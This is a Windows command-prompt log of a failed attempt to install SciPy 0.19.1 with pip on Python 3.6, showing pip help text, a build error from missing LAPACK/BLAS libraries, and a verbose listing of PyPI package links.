    ----------------------------------------
Command ""c:\program files\python36\python.exe" -u -c "import setuptools, tokenize;__file__='C:\\Users\\s530101\\AppData\\Local\\Temp\\pip-build-gyp34ubz\\SciPy\\setup.py';f=getattr(tokenize, 'open', open)(__file__);code=f.read().replace('\r\n', '\n');f.close();exec(compile(code, __file__, 'exec'))" install --record C:\Users\s530101\AppData\Local\Temp\pip-qeq_kx7u-record\install-record.txt --single-version-externally-managed --compile" failed with error code 1 in C:\Users\s530101\AppData\Local\Temp\pip-build-gyp34ubz\SciPy\

C:\windows\system32>pip -h

Usage:
  pip <command> [options]

Commands:
  install                     Install packages.
  download                    Download packages.
  uninstall                   Uninstall packages.
  freeze                      Output installed packages in requirements format.
  list                        List installed packages.
  show                        Show information about installed packages.
  check                       Verify installed packages have compatible dependencies.
  search                      Search PyPI for packages.
  wheel                       Build wheels from your requirements.
  hash                        Compute hashes of package archives.
  completion                  A helper command used for command completion.
  help                        Show help for commands.

General Options:
  -h, --help                  Show help.
  --isolated                  Run pip in an isolated mode, ignoring
                              environment variables and user configuration.
  -v, --verbose               Give more output. Option is additive, and can be
                              used up to 3 times.
  -V, --version               Show version and exit.
  -q, --quiet                 Give less output. Option is additive, and can be
                              used up to 3 times (corresponding to WARNING,
                              ERROR, and CRITICAL logging levels).
  --log <path>                Path to a verbose appending log.
  --proxy <proxy>             Specify a proxy in the form
                              [user:passwd@]proxy.server:port.
  --retries <retries>         Maximum number of retries each connection should
                              attempt (default 5 times).
  --timeout <sec>             Set the socket timeout (default 15 seconds).
  --exists-action <action>    Default action when a path already exists:
                              (s)witch, (i)gnore, (w)ipe, (b)ackup, (a)bort.
  --trusted-host <hostname>   Mark this host as trusted, even though it does
                              not have valid or any HTTPS.
  --cert <path>               Path to alternate CA bundle.
  --client-cert <path>        Path to SSL client certificate, a single file
                              containing the private key and the certificate
                              in PEM format.
  --cache-dir <dir>           Store the cache data in <dir>.
  --no-cache-dir              Disable the cache.
  --disable-pip-version-check
                              Don't periodically check PyPI to determine
                              whether a new version of pip is available for
                              download. Implied with --no-index.

C:\windows\system32>pip install -h

Usage:
  pip install [options] <requirement specifier> [package-index-options] ...
  pip install [options] -r <requirements file> [package-index-options] ...
  pip install [options] [-e] <vcs project url> ...
  pip install [options] [-e] <local project path> ...
  pip install [options] <archive url/path> ...

Description:
  Install packages from:

  - PyPI (and other indexes) using requirement specifiers.
  - VCS project urls.
  - Local project directories.
  - Local or remote source archives.

  pip also supports installing from "requirements files", which provide
  an easy way to specify a whole environment to be installed.

Install Options:
  -c, --constraint <file>     Constrain versions using the given constraints
                              file. This option can be used multiple times.
  -e, --editable <path/url>   Install a project in editable mode (i.e.
                              setuptools "develop mode") from a local project
                              path or a VCS url.
  -r, --requirement <file>    Install from the given requirements file. This
                              option can be used multiple times.
  -b, --build <dir>           Directory to unpack packages into and build in.
  -t, --target <dir>          Install packages into <dir>. By default this
                              will not replace existing files/folders in
                              <dir>. Use --upgrade to replace existing
                              packages in <dir> with new versions.
  -d, --download <dir>        Download packages into <dir> instead of
                              installing them, regardless of what's already
                              installed.
  --src <dir>                 Directory to check out editable projects into.
                              The default in a virtualenv is "<venv
                              path>/src". The default for global installs is
                              "<current dir>/src".
  -U, --upgrade               Upgrade all specified packages to the newest
                              available version. The handling of dependencies
                              depends on the upgrade-strategy used.
  --upgrade-strategy <upgrade_strategy>
                              Determines how dependency upgrading should be
                              handled. "eager" - dependencies are upgraded
                              regardless of whether the currently installed
                              version satisfies the requirements of the
                              upgraded package(s). "only-if-needed" -  are
                              upgraded only when they do not satisfy the
                              requirements of the upgraded package(s).
  --force-reinstall           When upgrading, reinstall all packages even if
                              they are already up-to-date.
  -I, --ignore-installed      Ignore the installed packages (reinstalling
                              instead).
  --ignore-requires-python    Ignore the Requires-Python information.
  --no-deps                   Don't install package dependencies.
  --install-option <options>  Extra arguments to be supplied to the setup.py
                              install command (use like --install-option="--
                              install-scripts=/usr/local/bin"). Use multiple
                              --install-option options to pass multiple
                              options to setup.py install. If you are using an
                              option with a directory path, be sure to use
                              absolute path.
  --global-option <options>   Extra global options to be supplied to the
                              setup.py call before the install command.
  --user                      Install to the Python user install directory for
                              your platform. Typically ~/.local/, or
                              %APPDATA%\Python on Windows. (See the Python
                              documentation for site.USER_BASE for full
                              details.)
  --egg                       Install packages as eggs, not 'flat', like pip
                              normally does. This option is not about
                              installing *from* eggs. (WARNING: Because this
                              option overrides pip's normal install logic,
                              requirements files may not behave as expected.)
  --root <dir>                Install everything relative to this alternate
                              root directory.
  --prefix <dir>              Installation prefix where lib, bin and other
                              top-level folders are placed
  --compile                   Compile py files to pyc
  --no-compile                Do not compile py files to pyc
  --no-use-wheel              Do not Find and prefer wheel archives when
                              searching indexes and find-links locations.
                              DEPRECATED in favour of --no-binary.
  --no-binary <format_control>
                              Do not use binary packages. Can be supplied
                              multiple times, and each time adds to the
                              existing value. Accepts either :all: to disable
                              all binary packages, :none: to empty the set, or
                              one or more package names with commas between
                              them. Note that some packages are tricky to
                              compile and may fail to install when this option
                              is used on them.
  --only-binary <format_control>
                              Do not use source packages. Can be supplied
                              multiple times, and each time adds to the
                              existing value. Accepts either :all: to disable
                              all source packages, :none: to empty the set, or
                              one or more package names with commas between
                              them. Packages without binary distributions will
                              fail to install when this option is used on
                              them.
  --pre                       Include pre-release and development versions. By
                              default, pip only finds stable versions.
  --no-clean                  Don't clean up build directories.
  --require-hashes            Require a hash to check each requirement
                              against, for repeatable installs. This option is
                              implied when any package in a requirements file
                              has a --hash option.

Package Index Options (including deprecated options):
  -i, --index-url <url>       Base URL of Python Package Index (default
                              https://pypi.python.org/simple). This should
                              point to a repository compliant with PEP 503
                              (the simple repository API) or a local directory
                              laid out in the same format.
  --extra-index-url <url>     Extra URLs of package indexes to use in addition
                              to --index-url. Should follow the same rules as
                              --index-url.
  --no-index                  Ignore package index (only looking at --find-
                              links URLs instead).
  -f, --find-links <url>      If a url or path to an html file, then parse for
                              links to archives. If a local path or file://
                              url that's a directory, then look for archives
                              in the directory listing.
  --process-dependency-links  Enable the processing of dependency links.

General Options:
  -h, --help                  Show help.
  --isolated                  Run pip in an isolated mode, ignoring
                              environment variables and user configuration.
  -v, --verbose               Give more output. Option is additive, and can be
                              used up to 3 times.
  -V, --version               Show version and exit.
  -q, --quiet                 Give less output. Option is additive, and can be
                              used up to 3 times (corresponding to WARNING,
                              ERROR, and CRITICAL logging levels).
  --log <path>                Path to a verbose appending log.
  --proxy <proxy>             Specify a proxy in the form
                              [user:passwd@]proxy.server:port.
  --retries <retries>         Maximum number of retries each connection should
                              attempt (default 5 times).
  --timeout <sec>             Set the socket timeout (default 15 seconds).
  --exists-action <action>    Default action when a path already exists:
                              (s)witch, (i)gnore, (w)ipe, (b)ackup, (a)bort.
  --trusted-host <hostname>   Mark this host as trusted, even though it does
                              not have valid or any HTTPS.
  --cert <path>               Path to alternate CA bundle.
  --client-cert <path>        Path to SSL client certificate, a single file
                              containing the private key and the certificate
                              in PEM format.
  --cache-dir <dir>           Store the cache data in <dir>.
  --no-cache-dir              Disable the cache.
  --disable-pip-version-check
                              Don't periodically check PyPI to determine
                              whether a new version of pip is available for
                              download. Implied with --no-index.

C:\windows\system32>pip install -U
You must give at least one requirement to install (see "pip help install")

C:\windows\system32>pip install -U pip
Requirement already up-to-date: pip in c:\program files\python36\lib\site-packages

C:\windows\system32>pip install -U SciPi
Collecting SciPi
  Could not find a version that satisfies the requirement SciPi (from versions: )
No matching distribution found for SciPi

C:\windows\system32>pip install -U SciPy
Collecting SciPy
  Using cached scipy-0.19.1.tar.gz
Installing collected packages: SciPy
  Running setup.py install for SciPy ... error
    Complete output from command "c:\program files\python36\python.exe" -u -c "import setuptools, tokenize;__file__='C:\\Users\\s530101\\AppData\\Local\\Temp\\pip-build-m91wwnr_\\SciPy\\setup.py';f=getattr(tokenize, 'open', open)(__file__);code=f.read().replace('\r\n', '\n');f.close();exec(compile(code, __file__, 'exec'))" install --record C:\Users\s530101\AppData\Local\Temp\pip-bu54g7sh-record\install-record.txt --single-version-externally-managed --compile:

    Note: if you need reliable uninstall behavior, then install
    with pip instead of using `setup.py install`:

      - `pip install .`       (from a git repo or downloaded source
                               release)
      - `pip install scipy`   (last SciPy release on PyPI)


    lapack_opt_info:
    lapack_mkl_info:
      libraries mkl_rt not found in ['c:\\program files\\python36\\lib', 'C:\\', 'c:\\program files\\python36\\libs']
      NOT AVAILABLE

    openblas_lapack_info:
    c:\program files\python36\lib\site-packages\numpy\distutils\system_info.py:655: UserWarning: Specified path c:\opt\64\lib is invalid.
      return self.get_paths(self.section, key)
      libraries libopenblas_v0.2.20_mingwpy not found in []
      NOT AVAILABLE

    atlas_3_10_threads_info:
    Setting PTATLAS=ATLAS
      libraries tatlas,tatlas not found in c:\program files\python36\lib
      libraries lapack_atlas not found in c:\program files\python36\lib
      libraries tatlas,tatlas not found in C:\
      libraries lapack_atlas not found in C:\
      libraries tatlas,tatlas not found in c:\program files\python36\libs
      libraries lapack_atlas not found in c:\program files\python36\libs
    <class 'numpy.distutils.system_info.atlas_3_10_threads_info'>
      NOT AVAILABLE

    atlas_3_10_info:
      libraries satlas,satlas not found in c:\program files\python36\lib
      libraries lapack_atlas not found in c:\program files\python36\lib
      libraries satlas,satlas not found in C:\
      libraries lapack_atlas not found in C:\
      libraries satlas,satlas not found in c:\program files\python36\libs
      libraries lapack_atlas not found in c:\program files\python36\libs
    <class 'numpy.distutils.system_info.atlas_3_10_info'>
      NOT AVAILABLE

    atlas_threads_info:
    Setting PTATLAS=ATLAS
      libraries ptf77blas,ptcblas,atlas not found in c:\program files\python36\lib
      libraries lapack_atlas not found in c:\program files\python36\lib
      libraries ptf77blas,ptcblas,atlas not found in C:\
      libraries lapack_atlas not found in C:\
      libraries ptf77blas,ptcblas,atlas not found in c:\program files\python36\libs
      libraries lapack_atlas not found in c:\program files\python36\libs
    <class 'numpy.distutils.system_info.atlas_threads_info'>
      NOT AVAILABLE

    atlas_info:
      libraries f77blas,cblas,atlas not found in c:\program files\python36\lib
      libraries lapack_atlas not found in c:\program files\python36\lib
      libraries f77blas,cblas,atlas not found in C:\
      libraries lapack_atlas not found in C:\
      libraries f77blas,cblas,atlas not found in c:\program files\python36\libs
      libraries lapack_atlas not found in c:\program files\python36\libs
    <class 'numpy.distutils.system_info.atlas_info'>
      NOT AVAILABLE

    c:\program files\python36\lib\site-packages\numpy\distutils\system_info.py:572: UserWarning:
        Atlas (http://math-atlas.sourceforge.net/) libraries not found.
        Directories to search for the libraries can be specified in the
        numpy/distutils/site.cfg file (section [atlas]) or by setting
        the ATLAS environment variable.
      self.calc_info()
    lapack_info:
      libraries lapack not found in ['c:\\program files\\python36\\lib', 'C:\\', 'c:\\program files\\python36\\libs']
      NOT AVAILABLE

    c:\program files\python36\lib\site-packages\numpy\distutils\system_info.py:572: UserWarning:
        Lapack (http://www.netlib.org/lapack/) libraries not found.
        Directories to search for the libraries can be specified in the
        numpy/distutils/site.cfg file (section [lapack]) or by setting
        the LAPACK environment variable.
      self.calc_info()
    lapack_src_info:
      NOT AVAILABLE

    c:\program files\python36\lib\site-packages\numpy\distutils\system_info.py:572: UserWarning:
        Lapack (http://www.netlib.org/lapack/) sources not found.
        Directories to search for the sources can be specified in the
        numpy/distutils/site.cfg file (section [lapack_src]) or by setting
        the LAPACK_SRC environment variable.
      self.calc_info()
      NOT AVAILABLE

    Running from scipy source directory.
    non-existing path in 'scipy\\integrate': 'quadpack.h'
    Traceback (most recent call last):
      File "<string>", line 1, in <module>
      File "C:\Users\s530101\AppData\Local\Temp\pip-build-m91wwnr_\SciPy\setup.py", line 416, in <module>
        setup_package()
      File "C:\Users\s530101\AppData\Local\Temp\pip-build-m91wwnr_\SciPy\setup.py", line 412, in setup_package
        setup(**metadata)
      File "c:\program files\python36\lib\site-packages\numpy\distutils\core.py", line 135, in setup
        config = configuration()
      File "C:\Users\s530101\AppData\Local\Temp\pip-build-m91wwnr_\SciPy\setup.py", line 336, in configuration
        config.add_subpackage('scipy')
      File "c:\program files\python36\lib\site-packages\numpy\distutils\misc_util.py", line 1029, in add_subpackage
        caller_level = 2)
      File "c:\program files\python36\lib\site-packages\numpy\distutils\misc_util.py", line 998, in get_subpackage
        caller_level = caller_level + 1)
      File "c:\program files\python36\lib\site-packages\numpy\distutils\misc_util.py", line 935, in _get_configuration_from_setup_py
        config = setup_module.configuration(*args)
      File "scipy\setup.py", line 15, in configuration
        config.add_subpackage('linalg')
      File "c:\program files\python36\lib\site-packages\numpy\distutils\misc_util.py", line 1029, in add_subpackage
        caller_level = 2)
      File "c:\program files\python36\lib\site-packages\numpy\distutils\misc_util.py", line 998, in get_subpackage
        caller_level = caller_level + 1)
      File "c:\program files\python36\lib\site-packages\numpy\distutils\misc_util.py", line 935, in _get_configuration_from_setup_py
        config = setup_module.configuration(*args)
      File "scipy\linalg\setup.py", line 20, in configuration
        raise NotFoundError('no lapack/blas resources found')
    numpy.distutils.system_info.NotFoundError: no lapack/blas resources found

    ----------------------------------------
Command ""c:\program files\python36\python.exe" -u -c "import setuptools, tokenize;__file__='C:\\Users\\s530101\\AppData\\Local\\Temp\\pip-build-m91wwnr_\\SciPy\\setup.py';f=getattr(tokenize, 'open', open)(__file__);code=f.read().replace('\r\n', '\n');f.close();exec(compile(code, __file__, 'exec'))" install --record C:\Users\s530101\AppData\Local\Temp\pip-bu54g7sh-record\install-record.txt --single-version-externally-managed --compile" failed with error code 1 in C:\Users\s530101\AppData\Local\Temp\pip-build-m91wwnr_\SciPy\

C:\windows\system32>pip install SciPy -v
Config variable 'Py_DEBUG' is unset, Python ABI tag may be incorrect
Config variable 'WITH_PYMALLOC' is unset, Python ABI tag may be incorrect
Collecting SciPy
  1 location(s) to search for versions of SciPy:
  * https://pypi.python.org/simple/scipy/
  Getting page https://pypi.python.org/simple/scipy/
  Looking up "https://pypi.python.org/simple/scipy/" in the cache
  Current age based on date: 705
  Freshness lifetime from max-age: 600
  Freshness lifetime from request max-age: 600
  The cached response is "stale" with no etag, purging
  Starting new HTTPS connection (1): pypi.python.org
  "GET /simple/scipy/ HTTP/1.1" 200 22955
  Updating cache with response from "https://pypi.python.org/simple/scipy/"
  Caching b/c date exists and max-age > 0
  Analyzing links from page https://pypi.python.org/simple/scipy/
    Skipping link https://pypi.python.org/packages/00/0f/060ec52cb74dc8df1a7ef1a524173eb0bcd329110404869b392685cfc5c8/scipy-0.15.1-cp27-cp27mu-manylinux1_x86_64.whl#md5=aaac02e6535742ab02f2075129890714 (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Found link https://pypi.python.org/packages/01/a1/dce70d47377d662aa4b0895df8431aee92cea6faefaab9dae21b0f901ded/scipy-0.18.0.tar.gz#md5=d70e7f533622ab705bc016dac328d93e (from https://pypi.python.org/simple/scipy/), version: 0.18.0
    Skipping link https://pypi.python.org/packages/02/65/9b0bbb907b6eb3ddde496f501babc6f573698b441a6dddc11400d63cc1bc/scipy-1.0.0rc2-cp34-cp34m-macosx_10_6_intel.macosx_10_9_intel.macosx_10_9_x86_64.macosx_10_10_intel.macosx_10_10_x86_64.whl#md5=28db2e456d9adc1dad6f4021c5b16f06 (from https://pypi.python.org/simple/scipy/) (requires-python:>=2.7,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/02/7b/97fcdb6ea1f618b5553efe8ebba43af76a7970219a8aa7824434104d42fd/scipy-0.16.1-cp35-cp35m-macosx_10_6_intel.macosx_10_9_intel.macosx_10_9_x86_64.macosx_10_10_intel.macosx_10_10_x86_64.whl#md5=c24f6d9fb094fff8d2cbd238d7716d21 (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/03/69/2c390ce63261f949f14f09e44e56c6f45f678919279b5e9effdf9f52292e/scipy-1.0.0rc2-cp36-cp36m-manylinux1_i686.whl#md5=99a9c8c0ece961e9ecda3b934edf3dbc (from https://pypi.python.org/simple/scipy/) (requires-python:>=2.7,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/03/85/94259e11ad53aad9e508c2a4e80d7db603c4180c4cacd0f02c51563aa15f/scipy-0.15.0-cp33-cp33m-macosx_10_6_intel.macosx_10_9_intel.macosx_10_9_x86_64.macosx_10_10_intel.macosx_10_10_x86_64.whl#md5=f6c96a2cb737ad9f3f47db5089f8eba4 (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Found link https://pypi.python.org/packages/05/5e/973bf71cfa865d962a68893e35e366a0a7ac0b713bc398b4e584c1bed982/scipy-0.17.1.tar.gz#md5=8987b9a3e3cd79218a0a423b21c8e4de (from https://pypi.python.org/simple/scipy/), version: 0.17.1
    Found link https://pypi.python.org/packages/06/d3/5389428400e45a6f1babbf3c1c01070507f320b3030bb56116f7b0a8abe3/scipy-1.0.0rc1-cp36-none-win_amd64.whl#md5=4805f42cba8f620a0c2594ed89265114 (from https://pypi.python.org/simple/scipy/) (requires-python:>=2.7,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*), version: 1.0.0rc1
    Skipping link https://pypi.python.org/packages/06/f1/717f43612df6f0b02560a1f91c262fc0add56abb73df878faefc2f21856e/scipy-0.17.0-cp34-cp34m-manylinux1_x86_64.whl#md5=04060803f2a74270400e8c5bcedf1a13 (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/07/2f/a21e12fecad483b9b624dca1dc6802822519b9325f46c58d829e4f9e1ddd/scipy-0.19.0-cp35-cp35m-macosx_10_6_intel.macosx_10_9_intel.macosx_10_9_x86_64.macosx_10_10_intel.macosx_10_10_x86_64.whl#md5=4cda63dc7b73bd03bdf9e8ebc6027526 (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/07/59/a7746e40e709a23f14b3bac4567fd6ec529e72545c54929b9a66ef5c7771/scipy-0.15.0-cp27-cp27m-manylinux1_x86_64.whl#md5=964cec623705873ec1c37408ecf96de6 (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/07/d4/ff7d404e09fc460599b9754ddc8293a11f33e52e23003960148a35f415d0/scipy-0.18.0rc2-cp27-cp27m-manylinux1_x86_64.whl#md5=608a25181f419e35fc6f3db31450d758 (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/08/b7/205769a2a7d1d813b88e2936876c218ab902958160c99c26670c907fd14c/scipy-0.16.1-cp33-cp33m-macosx_10_6_intel.macosx_10_9_intel.macosx_10_9_x86_64.macosx_10_10_intel.macosx_10_10_x86_64.whl#md5=6083faba0ca1ff06073b0f60129da7a6 (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/09/0c/f9a5f5b33bd78255001f78174ecae5dc9b4247802204968075559a836a3c/scipy-0.17.1-cp33-cp33m-macosx_10_6_intel.macosx_10_9_intel.macosx_10_9_x86_64.macosx_10_10_intel.macosx_10_10_x86_64.whl#md5=fb8db0983f17230f0ea012de425d8184 (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/0c/8a/be599e98c19d09040e2cba547558aa74f977d26fa6759d977a45bb2133c7/scipy-1.0.0rc1-cp35-none-win_amd64.whl#md5=bad39e2273db21f449bf8f6117dda436 (from https://pypi.python.org/simple/scipy/) (requires-python:>=2.7,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/0d/6d/953ec7721b3addfe36b55f77ba6b70ffddcfa66db427816954b43bd85e65/scipy-0.18.1-cp27-cp27m-macosx_10_6_intel.macosx_10_9_intel.macosx_10_9_x86_64.macosx_10_10_intel.macosx_10_10_x86_64.whl#md5=91cbcf832f13e139950cc2ee1395b461 (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/0d/93/d7dbecc8412ca69b78a8e95d227b492c1ae3c217dd7efd1b3d6319abe7f9/scipy-0.17.1-cp34-cp34m-macosx_10_6_intel.macosx_10_9_intel.macosx_10_9_x86_64.macosx_10_10_intel.macosx_10_10_x86_64.whl#md5=c0f259db6fdd8554182b9dc638a1dc29 (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/0e/46/da8d7166102d29695330f7c0b912955498542988542c0d2ae3ea0389c68d/scipy-0.19.1-cp36-cp36m-manylinux1_x86_64.whl#md5=65b1667ac56861da4cbc609960ed735b (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/10/fe/9910b5b366d4657c5bcce29e1d7b3c472166a5b0938be39c4499744848ea/scipy-0.17.1-cp34-cp34m-manylinux1_i686.whl#md5=5effa7220474b0071a3756f512076a21 (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/11/72/838cbee2404fad56002e0160bf9028e9dbc71c95c66d8093b70b19df0e35/scipy-0.16.1-cp27-cp27mu-manylinux1_x86_64.whl#md5=487ccca7b1527897e96e6181c04f7270 (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/11/d7/924204fe223875f8f23cf5d4ee596b0f087cdb47254e659a05b5776264b8/scipy-0.10.0-cp27-cp27m-manylinux1_x86_64.whl#md5=ae132f3fe930929c15ec844e21ea9e04 (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/11/d7/dd05cf7ff2bde32d5f079755f265db3173d808071fb91eec569f784c3486/scipy-0.12.0-cp27-cp27mu-manylinux1_x86_64.whl#md5=775790ddf78944663edebdb9dd7f5ac5 (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/12/62/ee2b48d5117d6897f13d1e3e01cae50b479ab73f9d7131686808edcac5c1/scipy-0.9.0-cp27-cp27mu-manylinux1_x86_64.whl#md5=d640d7fb80614a959b3bdaf3ffb22673 (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/13/61/9428c6774978b0477067fac6a96a3da156731545b84bac86dda505bff81a/scipy-1.0.0rc1-cp27-cp27mu-manylinux1_i686.whl#md5=5e6b24ceb04e412d17aed6014542c67c (from https://pypi.python.org/simple/scipy/) (requires-python:>=2.7,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/13/b2/70a4992e0ef711122ba1d7fc0edc5fe121b105f768c020eff1ffac2ea8a0/scipy-0.14.0-cp27-cp27mu-manylinux1_x86_64.whl#md5=1823637e1d7c2a86b4edc1ef589c9137 (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/13/cb/8e74d28e1519b34636e4d985d49d01c23778064e01eb102914f844cd6051/scipy-0.18.1-cp27-cp27mu-manylinux1_x86_64.whl#md5=8819378eceb1d7a51042031a7846f394 (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/13/d2/4e83ca14320c2836138839a2660700cbdcb548068e9abe56da75259ea3db/scipy-0.17.1-cp35-cp35m-manylinux1_i686.whl#md5=3ab2d58731c6cef9e37381c738258e09 (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Found link https://pypi.python.org/packages/14/34/a66c289e70e727698cd1dd3d3680c59a60fdc42eb52a22ebb0e3484e9f7f/scipy-1.0.0rc1.tar.gz#md5=e691dcdec6ee5f075ba74683ba27f2d3 (from https://pypi.python.org/simple/scipy/) (requires-python:>=2.7,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*), version: 1.0.0rc1
    Found link https://pypi.python.org/packages/14/f1/d753f3ce965fdf8c84691d8fce06b650f105d00f38a21bbb99b04c235abd/scipy-0.18.0rc2.zip#md5=21decd4fb8f85e2a389864b35f0b879d (from https://pypi.python.org/simple/scipy/), version: 0.18.0rc2
    Found link https://pypi.python.org/packages/16/87/fdd4d069b1e784d4598605c20d8a7c535883b298aef960dc286b395359d7/scipy-0.17.0.tar.gz#md5=5ff2971e1ce90e762c59d2cd84837224 (from https://pypi.python.org/simple/scipy/), version: 0.17.0
    Found link https://pypi.python.org/packages/17/4c/3c01634c5332e1969a27fe5b249fc72a9e79c178f841aedc2635bcf61dee/scipy-0.14.1.tar.gz#md5=1bfedd3197b3e3f8cd131ae2c06a1bf5 (from https://pypi.python.org/simple/scipy/), version: 0.14.1
    Skipping link https://pypi.python.org/packages/17/c8/bc748f59f854a0b53db874cb75f4b7c6c5a4c1f666d337bd230e71820f20/scipy-1.0.0rc1-cp35-cp35m-manylinux1_x86_64.whl#md5=3011a5c0bbd4da56dc40c502724152f0 (from https://pypi.python.org/simple/scipy/) (requires-python:>=2.7,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/18/5f/194c31e058c6f1ce1fb42e01868de346e549806e9c73d3772a71bf631259/scipy-0.13.1-cp34-cp34m-manylinux1_x86_64.whl#md5=2366a311fc5750fefd15e346025d28da (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Found link https://pypi.python.org/packages/18/a9/21de57e031a441a5135236dd3e14c84e48030d6436619212b01aad821a0e/scipy-0.12.0.zip#md5=e4b9f3cb2e965fc8751faedfb9164d08 (from https://pypi.python.org/simple/scipy/), version: 0.12.0
    Skipping link https://pypi.python.org/packages/18/f6/42a07d7835a51cd73adfdf1b7d1f842bbc4792be29fb3574c87854fb4e28/scipy-0.13.2-cp33-cp33m-manylinux1_x86_64.whl#md5=0898feeb05585dc36904d7c657ccfe58 (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/19/77/85ea9ecfe75679f792bff808a814cc2c165124f9413ce6825bd28b36c3ba/scipy-1.0.0rc2-cp36-cp36m-macosx_10_6_intel.macosx_10_9_intel.macosx_10_9_x86_64.macosx_10_10_intel.macosx_10_10_x86_64.whl#md5=e4660e4958aefdfe1b27f520eed84751 (from https://pypi.python.org/simple/scipy/) (requires-python:>=2.7,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/19/85/3add57ed6cdfbe798aa35e63bc3c8d159fed13e437841c32cf73bac850b6/scipy-0.16.0-cp35-cp35m-manylinux1_x86_64.whl#md5=ccd82ddc3e3b7f0d35c04a5fe248f699 (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/19/b1/a3ea10ee5425ca3c04f63aba1bb72e4d8f5535db99389016e980063238ac/scipy-0.9.0-cp26-cp26mu-manylinux1_x86_64.whl#md5=234d2300c7654b86cecaacfabc10812f (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/19/bc/bebd680620eab9a0d28db680421fc28629f3a8f77b4798976a3d2c18774b/scipy-0.14.0-cp34-cp34m-macosx_10_6_intel.macosx_10_9_intel.macosx_10_9_x86_64.whl#md5=de679794f46812c784845835371539f4 (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/1a/65/0a776262af035e07cb499d551114c6de00a5816b652f8dfcf95be5df214a/scipy-0.13.3-cp34-cp34m-manylinux1_x86_64.whl#md5=c53c78818bd7c3d7aa0164c468323158 (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/1a/d0/1fdfd7b6d2ede6fdd9f4b91db0f939699e5da4b78ad1efc26003adfffcc0/scipy-1.0.0b1-cp36-cp36m-manylinux1_x86_64.whl#md5=1a67892eeb84079113687c05434ff257 (from https://pypi.python.org/simple/scipy/) (requires-python:>=2.7,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/1b/8a/81d22c337170eee748db88601f3130c53b5d1d6ccf46a02f613755e3e1ae/scipy-0.13.1-cp27-cp27mu-manylinux1_x86_64.whl#md5=ea15b0d3aa476f941fbcaf3ff0027817 (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/1b/d2/f5921d8a32c5e3fe94a98f5f3482fdf4a18422b20189a3bcf7a08b38338d/scipy-0.12.1-cp33-cp33m-manylinux1_x86_64.whl#md5=f00a230088979b49f942e4207de4db5d (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/1c/29/78db0e6a09421c5cf6582cbce71cbdebd3eb109703451a63eaf954c10757/scipy-0.18.0rc2-cp34-cp34m-manylinux1_x86_64.whl#md5=c186a0ff0d4e949571436e40f4fdd900 (from https://pypi.python.org/simple/scipy/); it is not compatible with this Python
    Skipping link https://pypi.python.org/packages/1d/4e/26f041c6b5ad746b9ea79be9051b56a1c235715bc048b8c315f62ef1c142/scipy-1.0.0rc2-cp34-cp34m-manylinux1_x86_64.whl#md5=7ae00e623a6fef45659fcb88b5bbaa4f (from https://pypi.python.org/simple/scipy/) (requires-python:>=2.7,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*); it is not compatible with this Python
    Found link https://pypi.python.org/packages/1d/b2/8c9536ac96c5f650e939471adea4b53ac0f98e6742745344a4d7ebd3950c/scipy-0.13.2.zip#md5=9befa30e546fba762a0c1695a509f731 (from https://pypi.python.org/simple/scipy/), version: 0.13.2
